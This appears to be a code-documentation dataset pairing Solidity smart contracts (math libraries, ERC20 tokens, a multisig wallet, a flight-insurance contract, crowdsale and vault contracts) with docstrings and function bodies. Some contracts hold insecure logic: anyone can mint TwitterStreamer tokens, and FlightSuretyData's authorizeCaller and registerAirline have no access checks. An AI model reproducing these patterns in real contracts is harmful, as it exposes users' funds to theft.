returns (D256 memory)
{
return D256({value: self.value.sub(b.value)});
}
function sub(
D256 memory self,
D256 memory b,
string memory reason
) internal pure returns (D256 memory) {
return D256({value: self.value.sub(b.value, reason)});
}
function mul(D256 memory self, D256 memory b)
internal
pure
returns (D256 memory)
{
return D256({value: getPartial(self.value, b.value, BASE)});
}
function div(D256 memory self, D256 memory b)
internal
pure
returns (D256 memory)
{
return D256({value: getPartial(self.value, BASE, b.value)});
}
function equals(D256 memory self, D256 memory b)
internal
pure
returns (bool)
{
return self.value == b.value;
}
function greaterThan(D256 memory self, D256 memory b)
internal
pure
returns (bool)
{
return compareTo(self, b) == 2;
}
function lessThan(D256 memory self, D256 memory b)
internal
pure
returns (bool)
{
return compareTo(self, b) == 0;
}
function greaterThanOrEqualTo(D256 memory self, D256 memory b)
internal
pure
returns (bool)
{
return compareTo(self, b) > 0;
}
function lessThanOrEqualTo(D256 memory self, D256 memory b)
internal
pure
returns (bool)
{
return compareTo(self, b) < 2;
}
function isZero(D256 memory self) internal pure returns (bool) {
return self.value == 0;
}
function asUint256(D256 memory self) internal pure returns (uint256) {
return self.value.div(BASE);
}
// ============ Core Methods ============
function getPartial(
uint256 target,
uint256 numerator,
uint256 denominator
) private pure returns (uint256) {
return target.mul(numerator).div(denominator);
}
function compareTo(D256 memory a, D256 memory b)
private
pure
returns (uint256)
{
if (a.value == b.value) {
return 1;
}
return a.value > b.value ? 2 : 0;
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.0;
import "@uniswap/v2-periphery/contracts/interfaces/IWETH.sol";
library Constants {
/// @notice the denominator for basis points granularity (10,000)
uint256 public constant BASIS_POINTS_GRANULARITY = 10_000;
uint256 public constant ONE_YEAR = 365.25 days;
/// @notice WETH9 address
IWETH public constant WETH =
IWETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
/// @notice USD stand-in address
address public constant USD = 0x1111111111111111111111111111111111111111;
/// @notice Wei per ETH, i.e. 10**18
uint256 public constant ETH_GRANULARITY = 1e18;
/// @notice number of decimals in ETH, 18
uint256 public constant ETH_DECIMALS = 18;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol)
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
pragma solidity >=0.5.0;
interface IWETH {
function deposit() external payable;
function transfer(address to, uint value) external returns (bool);
function withdraw(uint) external;
}
|
See `scaledPow(uint256 base, uint256 exp, uint256 _decimals)`/
|
function scaledPow(uint256 base, uint256 exp)
internal
pure
returns (uint256)
{
return scaledPow(base, exp, decimals);
}
| 375,281 |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
pragma experimental ABIEncoderV2;
contract MultiSigWallet {
uint minApprovers;
address payable beneficiary;
address owner;
mapping (address => bool) approvedBy;
mapping (address => bool) isApprover;
uint approvalsNum;
constructor(
address[] memory _approvers,
uint _minApprovers,
address payable _beneficiary
) payable {
require(_minApprovers <= _approvers.length, "Req number of approvers shousl be less than number of approvers");
minApprovers = _minApprovers;
beneficiary = _beneficiary;
owner = msg.sender;
for(uint i =0; i < _approvers.length; i++) {
address approver = _approvers[i];
isApprover[approver] = true;
}
}
function approve() public {
require(isApprover[msg.sender], "Not an approver");
if(!approvedBy[msg.sender]){
approvalsNum++;
approvedBy[msg.sender] = true;
}
if(approvalsNum == minApprovers ){
// Warning: Failure condition of 'send' ignored. Consider using 'transfer' instead.
// beneficiary.transfer(address(this).balance);
// "send" and "transfer" are only available for objects of type "address payable", not "address".
beneficiary.transfer(address(this).balance);
selfdestruct(payable(owner));
}
}
function reject() public {
require(isApprover[msg.sender], "Not an approver");
selfdestruct(payable(owner));
}
}
|
Warning: Failure condition of 'send' ignored. Consider using 'transfer' instead. beneficiary.transfer(address(this).balance); "send" and "transfer" are only available for objects of type "address payable", not "address".
|
function approve() public {
require(isApprover[msg.sender], "Not an approver");
if(!approvedBy[msg.sender]){
approvalsNum++;
approvedBy[msg.sender] = true;
}
if(approvalsNum == minApprovers ){
beneficiary.transfer(address(this).balance);
selfdestruct(payable(owner));
}
}
| 15,814,576 |
pragma solidity ^0.5.0;
/**
* @title The TwitterStreamer Token Contract
*
* @dev The TST Token is an ERC20 Token
* @dev https://github.com/ethereum/EIPs/issues/20
*/
contract TwitterStreamer {
string public constant symbol = "TST";
string public constant name = "Twitter Streamer Token";
uint8 public constant decimals = 0;
uint256 public _totalSupply = 0;
uint256 public _valueSend = 10;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowed;
event Mint(address indexed to, uint256 value);
event Transfer(address indexed abc, address indexed to, uint256 value);
constructor() public {
}
/**
* @dev This contract does not accept ETH
*/
function() external payable {
revert("Default method not allowed");
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address _who) public view returns (uint256) {
return balances[_who];
}
function transfer(address _to, uint256 _value) public returns (bool) {
require (balances[msg.sender] > 0, "not enough tokens");
balances[msg.sender] -= _value;
balances[_to] += _value;
emit Transfer(msg.sender, _to, _value);
return true;
}
function mintToken(address _to) public returns (bool) {
//require (balances[msg.sender] > 0, "not enough tokens");
// balances[msg.sender] -= _value;
balances[_to] += _valueSend;
_totalSupply += _valueSend;
emit Mint(_to, _valueSend);
return true;
}
/* ==== Advanced topic from here ====
function approve(address _spender, uint256 _value) public returns (bool) {
return false;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
return false;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return 0;
} */
}
|
This contract does not accept ETH/
|
function() external payable {
revert("Default method not allowed");
}
| 2,543,017 |
pragma solidity ^0.4.25;
import "../node_modules/openzeppelin-solidity/contracts/math/SafeMath.sol";
contract FlightSuretyData {
using SafeMath for uint256;
/********************************************************************************************/
/* DATA VARIABLES */
/********************************************************************************************/
address private contractOwner; // Account used to deploy contract
bool private operational = true; // Blocks all state changes throughout the contract if false
struct Airline {
string name;
bool activated;
bool exists;
}
mapping(address => Airline) airlines;
mapping(address => uint256) balances;
mapping(address => mapping(bytes32 => uint256)) investmentsPerFlight;
mapping(bytes32 => address[]) flightPassengers;
address authorizedContract = address(0);
/********************************************************************************************/
/* EVENT DEFINITIONS */
/********************************************************************************************/
/**
* @dev Constructor
* The deploying account becomes contractOwner
*/
constructor
(
)
public
{
contractOwner = msg.sender;
}
/********************************************************************************************/
/* FUNCTION MODIFIERS */
/********************************************************************************************/
// Modifiers help avoid duplication of code. They are typically used to validate something
// before a function is allowed to be executed.
/**
* @dev Modifier that requires the "operational" boolean variable to be "true"
* This is used on all state changing functions to pause the contract in
* the event there is an issue that needs to be fixed
*/
modifier requireIsOperational()
{
require(operational, "Contract is currently not operational");
_; // All modifiers require an "_" which indicates where the function body will be added
}
/**
* @dev Modifier that requires the "ContractOwner" account to be the function caller
*/
modifier requireContractOwner()
{
require(msg.sender == contractOwner, "Caller is not contract owner");
_;
}
modifier requireAuthorizedContract()
{
require(msg.sender == authorizedContract, "Caller contract is not authorized");
_;
}
/********************************************************************************************/
/* UTILITY FUNCTIONS */
/********************************************************************************************/
/**
* @dev Get operating status of contract
*
* @return A bool that is the current operating status
*/
function isOperational()
public
view
returns(bool)
{
return operational;
}
/**
* @dev Sets contract operations on/off
*
* When operational mode is disabled, all write transactions except for this one will fail
*/
function setOperatingStatus
(
bool mode
)
external
requireContractOwner
{
operational = mode;
}
function isActiveAirline(address airlineAddress) external returns(bool)
{
return(airlines[airlineAddress].activated);
}
function existsAirline(address airlineAddress) external returns(bool)
{
return(airlines[airlineAddress].exists==false);
}
function authorizeCaller(address appContract) external
{
authorizedContract = appContract;
}
/********************************************************************************************/
/* SMART CONTRACT FUNCTIONS */
/********************************************************************************************/
/**
* @dev Add an airline to the registration queue
* Can only be called from FlightSuretyApp contract
*
*/
function registerAirline
(
string name,
bool activated ,
address _addr
)
external
{
Airline memory airline = Airline(name, activated, true);
airlines[_addr] = airline;
}
/**
* @dev Buy insurance for a flight
*
*/
function buy
(
bytes32 flight,
address buyer,
uint256 amount
)
external
payable
{
// require(amount+investmentsPerFlight[buyer][flight]<=1, "Cannot invest more tha one ether");
investmentsPerFlight[buyer][flight] += amount;
flightPassengers[flight].push(buyer);
//balances[buyer] += amount;
}
/**
* @dev Credits payouts to insurees
*/
function creditInsurees
(
bytes32 key
)
external
{
address [] memory passengers = flightPassengers[key];
for(uint256 c = 0; c<passengers.length;c++){
address passenger = passengers[c];
uint256 flightInvestment = investmentsPerFlight[passenger][key];
uint256 value = flightInvestment.mul(3)-flightInvestment.mul(2);
balances[passenger] = balances[passenger] + value;
}
}
/**
* @dev Transfers eligible payout funds to insuree
*
*/
function pay
(
)
external
{
uint256 balance = balances[msg.sender];
balances[msg.sender] = 0;
msg.sender.transfer(balance);
}
/**
* @dev Initial funding for the insurance. Unless there are too many delayed flights
* resulting in insurance payouts, the contract should be self-sustaining
*
*/
function fund
(
address _addr
)
public
payable
{
airlines[address(_addr)].activated=true;
}
function getFlightKey
(
address airline,
string memory flight,
uint256 timestamp
)
pure
internal
returns(bytes32)
{
return keccak256(abi.encodePacked(airline, flight, timestamp));
}
/**
* @dev Fallback function for funding smart contract.
*
*/
function()
external
payable
{
//fund(msg.sender);
}
function getAmounts(address _address) external view
requireIsOperational()
returns (uint256)
{
return (balances[_address]);
}
function isRegistered
(
address _address
)
public
returns (bool)
{
return airlines[_address].exists;
}
function getPassengers
(
bytes32 key
)
public
returns (uint256)
{
return flightPassengers[key].length;
}
function payInsuree
(
address _address
)
public
{
require(balances[_address]>0, "Not enough balance");
uint256 balance = balances[_address];
balances[_address] = 0;
_address.transfer(balance);
}
}
|
Credits payouts to insurees/
|
function creditInsurees
(
bytes32 key
)
external
{
address [] memory passengers = flightPassengers[key];
for(uint256 c = 0; c<passengers.length;c++){
address passenger = passengers[c];
uint256 flightInvestment = investmentsPerFlight[passenger][key];
uint256 value = flightInvestment.mul(3)-flightInvestment.mul(2);
balances[passenger] = balances[passenger] + value;
}
}
| 15,817,436 |
pragma solidity 0.4.19;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Crowdsale
* @dev Crowdsale is a base contract for managing a token crowdsale,
* allowing investors to purchase tokens with ether. This contract implements
* such functionality in its most fundamental form and can be extended to provide additional
* functionality and/or custom behavior.
* The external interface represents the basic interface for purchasing tokens, and conform
* the base architecture for crowdsales. They are *not* intended to be modified / overriden.
* The internal interface conforms the extensible and modifiable surface of crowdsales. Override
* the methods to add functionality. Consider using 'super' where appropiate to concatenate
* behavior.
*/
contract Crowdsale {
using SafeMath for uint256;
// The token being sold
ERC20 public token;
// Address where funds are collected
address public wallet;
// How many token units a buyer gets per wei
uint256 public rate;
// Amount of wei raised
uint256 public weiRaised;
/**
* Event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
/**
* @param _rate Number of token units a buyer gets per wei
* @param _wallet Address where collected funds will be forwarded to
* @param _token Address of the token being sold
*/
function Crowdsale(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
// -----------------------------------------
// Crowdsale external interface
// -----------------------------------------
/**
* @dev fallback function ***DO NOT OVERRIDE***
*/
function () external payable {
buyTokens(msg.sender);
}
/**
* @dev low level token purchase ***DO NOT OVERRIDE***
* @param _beneficiary Address performing the token purchase
*/
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
// calculate token amount to be created
uint256 tokens = _getTokenAmount(weiAmount);
// update state
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
TokenPurchase(msg.sender, _beneficiary, weiAmount, tokens);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
// -----------------------------------------
// Internal interface (extensible)
// -----------------------------------------
/**
* @dev Validation of an incoming purchase. Use require statemens to revert state when conditions are not met. Use super to concatenate validations.
* @param _beneficiary Address performing the token purchase
* @param _weiAmount Value in wei involved in the purchase
*/
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
/**
* @dev Validation of an executed purchase. Observe state and use revert statements to undo rollback when valid conditions are not met.
* @param _beneficiary Address performing the token purchase
* @param _weiAmount Value in wei involved in the purchase
*/
function _postValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
// optional override
}
/**
* @dev Source of tokens. Override this method to modify the way in which the crowdsale ultimately gets and sends its tokens.
* @param _beneficiary Address performing the token purchase
* @param _tokenAmount Number of tokens to be emitted
*/
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
token.transfer(_beneficiary, _tokenAmount);
}
/**
* @dev Executed when a purchase has been validated and is ready to be executed. Not necessarily emits/sends tokens.
* @param _beneficiary Address receiving the tokens
* @param _tokenAmount Number of tokens to be purchased
*/
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
_deliverTokens(_beneficiary, _tokenAmount);
}
/**
* @dev Override for extensions that require an internal state to check for validity (current user contributions, etc.)
* @param _beneficiary Address receiving the tokens
* @param _weiAmount Value in wei involved in the purchase
*/
function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) internal {
// optional override
}
/**
* @dev Override to extend the way in which ether is converted to tokens.
* @param _weiAmount Value in wei to be converted into tokens
* @return Number of tokens that can be purchased with the specified _weiAmount
*/
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
return _weiAmount.mul(rate);
}
/**
* @dev Determines how ETH is stored/forwarded on purchases.
*/
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
/**
* @title AllowanceCrowdsale
* @dev Extension of Crowdsale where tokens are held by a wallet, which approves an allowance to the crowdsale.
*/
contract AllowanceCrowdsale is Crowdsale {
using SafeMath for uint256;
address public tokenWallet;
/**
* @dev Constructor, takes token wallet address.
* @param _tokenWallet Address holding the tokens, which has approved allowance to the crowdsale
*/
function AllowanceCrowdsale(address _tokenWallet) public {
require(_tokenWallet != address(0));
tokenWallet = _tokenWallet;
}
/**
* @dev Checks the amount of tokens left in the allowance.
* @return Amount of tokens left in the allowance
*/
function remainingTokens() public view returns (uint256) {
return token.allowance(tokenWallet, this);
}
/**
* @dev Overrides parent behavior by transferring tokens from wallet.
* @param _beneficiary Token purchaser
* @param _tokenAmount Amount of tokens purchased
*/
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
token.transferFrom(tokenWallet, _beneficiary, _tokenAmount);
}
}
/**
* @title WhitelistedCrowdsale
* @dev Crowdsale in which only whitelisted users can contribute.
*/
contract WhitelistedCrowdsale is Crowdsale, Ownable {
mapping(address => bool) public whitelist;
/**
* @dev Reverts if beneficiary is not whitelisted. Can be used when extending this contract.
*/
modifier isWhitelisted(address _beneficiary) {
require(whitelist[_beneficiary]);
_;
}
/**
* @dev Adds single address to whitelist.
* @param _beneficiary Address to be added to the whitelist
*/
function addToWhitelist(address _beneficiary) external onlyOwner {
whitelist[_beneficiary] = true;
}
/**
* @dev Adds list of addresses to whitelist. Not overloaded due to limitations with truffle testing.
* @param _beneficiaries Addresses to be added to the whitelist
*/
function addManyToWhitelist(address[] _beneficiaries) external onlyOwner {
for (uint256 i = 0; i < _beneficiaries.length; i++) {
whitelist[_beneficiaries[i]] = true;
}
}
/**
* @dev Removes single address from whitelist.
* @param _beneficiary Address to be removed to the whitelist
*/
function removeFromWhitelist(address _beneficiary) external onlyOwner {
whitelist[_beneficiary] = false;
}
/**
* @dev Extend parent behavior requiring beneficiary to be in whitelist.
* @param _beneficiary Token beneficiary
* @param _weiAmount Amount of wei contributed
*/
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal isWhitelisted(_beneficiary) {
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
/**
* @title TimedCrowdsale
* @dev Crowdsale accepting contributions only within a time frame.
*/
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
/**
* @dev Reverts if not in crowdsale time range.
*/
modifier onlyWhileOpen {
require(now >= openingTime && now <= closingTime);
_;
}
/**
* @dev Constructor, takes crowdsale opening and closing times.
* @param _openingTime Crowdsale opening time
* @param _closingTime Crowdsale closing time
*/
function TimedCrowdsale(uint256 _openingTime, uint256 _closingTime) public {
require(_openingTime >= now);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
/**
* @dev Checks whether the period in which the crowdsale is open has already elapsed.
* @return Whether crowdsale period has elapsed
*/
function hasClosed() public view returns (bool) {
return now > closingTime;
}
/**
* @dev Extend parent behavior requiring to be within contributing period
* @param _beneficiary Token purchaser
* @param _weiAmount Amount of wei contributed
*/
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal onlyWhileOpen {
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
/**
* @title FinalizableCrowdsale
* @dev Extension of Crowdsale where an owner can do extra work
* after finishing.
*/
contract FinalizableCrowdsale is TimedCrowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
/**
* @dev Must be called after crowdsale ends, to do some extra finalization
* work. Calls the contract's finalization function.
*/
function finalize() onlyOwner public {
require(!isFinalized);
require(hasClosed());
finalization();
Finalized();
isFinalized = true;
}
/**
* @dev Can be overridden to add finalization logic. The overriding function
* should call super.finalization() to ensure the chain of finalization is
* executed entirely.
*/
function finalization() internal {
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
/**
* @title RTEBonusTokenVault
* @dev Token holder contract that releases tokens to the respective addresses
* and _lockedReleaseTime
*/
contract RTEBonusTokenVault is Ownable {
using SafeERC20 for ERC20Basic;
using SafeMath for uint256;
// ERC20 basic token contract being held
ERC20Basic public token;
bool public vaultUnlocked;
bool public vaultSecondaryUnlocked;
// How much we have allocated to the investors invested
mapping(address => uint256) public balances;
mapping(address => uint256) public lockedBalances;
/**
* @dev Allocation event
* @param _investor Investor address
* @param _value Tokens allocated
*/
event Allocated(address _investor, uint256 _value);
/**
* @dev Distribution event
* @param _investor Investor address
* @param _value Tokens distributed
*/
event Distributed(address _investor, uint256 _value);
function RTEBonusTokenVault(
ERC20Basic _token
)
public
{
token = _token;
vaultUnlocked = false;
vaultSecondaryUnlocked = false;
}
/**
* @dev Unlocks vault
*/
function unlock() public onlyOwner {
require(!vaultUnlocked);
vaultUnlocked = true;
}
/**
* @dev Unlocks secondary vault
*/
function unlockSecondary() public onlyOwner {
require(vaultUnlocked);
require(!vaultSecondaryUnlocked);
vaultSecondaryUnlocked = true;
}
/**
* @dev Add allocation amount to investor addresses
* Only the owner of this contract - the crowdsale can call this function
* Split half to be locked by timelock in vault, the other half to be released on vault unlock
* @param _investor Investor address
* @param _amount Amount of tokens to add
*/
function allocateInvestorBonusToken(address _investor, uint256 _amount) public onlyOwner {
require(!vaultUnlocked);
require(!vaultSecondaryUnlocked);
uint256 bonusTokenAmount = _amount.div(2);
uint256 bonusLockedTokenAmount = _amount.sub(bonusTokenAmount);
balances[_investor] = balances[_investor].add(bonusTokenAmount);
lockedBalances[_investor] = lockedBalances[_investor].add(bonusLockedTokenAmount);
Allocated(_investor, _amount);
}
/**
* @dev Transfers bonus tokens held to investor
* @param _investor Investor address making the claim
*/
function claim(address _investor) public onlyOwner {
// _investor is the original initiator
// msg.sender is the contract that called this.
require(vaultUnlocked);
uint256 claimAmount = balances[_investor];
require(claimAmount > 0);
uint256 tokenAmount = token.balanceOf(this);
require(tokenAmount > 0);
// Empty token balance
balances[_investor] = 0;
token.safeTransfer(_investor, claimAmount);
Distributed(_investor, claimAmount);
}
/**
* @dev Transfers secondary bonus tokens held to investor
* @param _investor Investor address making the claim
*/
function claimLocked(address _investor) public onlyOwner {
// _investor is the original initiator
// msg.sender is the contract that called this.
require(vaultUnlocked);
require(vaultSecondaryUnlocked);
uint256 claimAmount = lockedBalances[_investor];
require(claimAmount > 0);
uint256 tokenAmount = token.balanceOf(this);
require(tokenAmount > 0);
// Empty token balance
lockedBalances[_investor] = 0;
token.safeTransfer(_investor, claimAmount);
Distributed(_investor, claimAmount);
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
